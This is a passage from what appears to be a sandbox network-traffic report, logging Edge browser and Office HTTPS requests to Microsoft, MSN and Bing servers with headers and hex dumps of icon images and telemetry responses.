7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-11-24 03:20:55 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-24 03:20:55 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-24 03:20:55 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49890	204.79.197.237	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	1269	OUT	GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&RedC=c.msn.com&MXFR=022A54BEBDE36963130D41FFBC8168FF HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 8A275EEE626CE5B6B65390C20EFB4E5147246FD5ECA2A44E85C6DDA632C24935 Sec-MS-GEC-Version: 1-117.0.2045.55 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:54 UTC	1702	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&MUID=022A54BEBDE36963130D41FFBC8168FF P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=022A54BEBDE36963130D41FFBC8168FF; domain=.bing.com; expires=Fri, 19-Dec-2025 03:20:54 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Sun, 01-Dec-2024 03:20:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=022A54BEBDE36963130D41FFBC8168FF; domain=c.bing.com; expires=Fri, 19-Dec-2025 03:20:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=022A54BEBDE36963130D41FFBC8168FF; domain=c.bing.com; expires=Fri, 19-Dec-2025 03:20:54 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1759C9FB297F4673BF16825381AA781F Ref B: EWR311000105009 Ref C: 2024-11-24T03:20:54Z Date: Sun, 24 Nov 2024 03:20:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49928	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3a2cfd47-101e-0073-16d6-3d18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032054Z-15b8b599d88tr2flhC1TEB5gk400000003w000000000kwa3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:55 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49929	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:54 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:54 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 32bf6d64-901e-000f-17ea-3d85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032054Z-15b8b599d88pxmdghC1TEBux9c00000003yg00000000cz6q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:55 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49935	3.167.69.129	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	1012	OUT	GET /b2?rn=1732418452680&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=022A54BEBDE36963130D41FFBC8168FF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B1fadcc7439ef02cacbc031732418454; XID=1B1fadcc7439ef02cacbc031732418454
2024-11-24 03:20:56 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 24 Nov 2024 03:20:56 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b7cdad11a8da074c3364a379749f7320.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P6 X-Amz-Cf-Id: 7fbwebH6WOyW4-6nNWHP6JGehQGp_JT4ljLrNZttp4oGAoZ3LaOYmQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 3e0f2322-e01e-00aa-176c-3dceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032056Z-15b8b599d88tmlzshC1TEB4xpn00000003tg000000007cm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:56 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49936	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=380969 Expires: Thu, 28 Nov 2024 13:10:25 GMT Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close
2024-11-24 03:20:56 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49940	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=124565 Expires: Mon, 25 Nov 2024 13:57:01 GMT Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close
2024-11-24 03:20:56 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49937	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:56 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Wed, 20 Nov 2024 00:46:19 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: b1a24144-11f9-49dd-8527-fd854663f54d Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=77110 Expires: Mon, 25 Nov 2024 00:46:06 GMT Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close
2024-11-24 03:20:56 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49934	20.96.153.111	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=022A54BEBDE36963130D41FFBC8168FF&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1d9e89a5e3274a6c8a37023c34b910fe HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
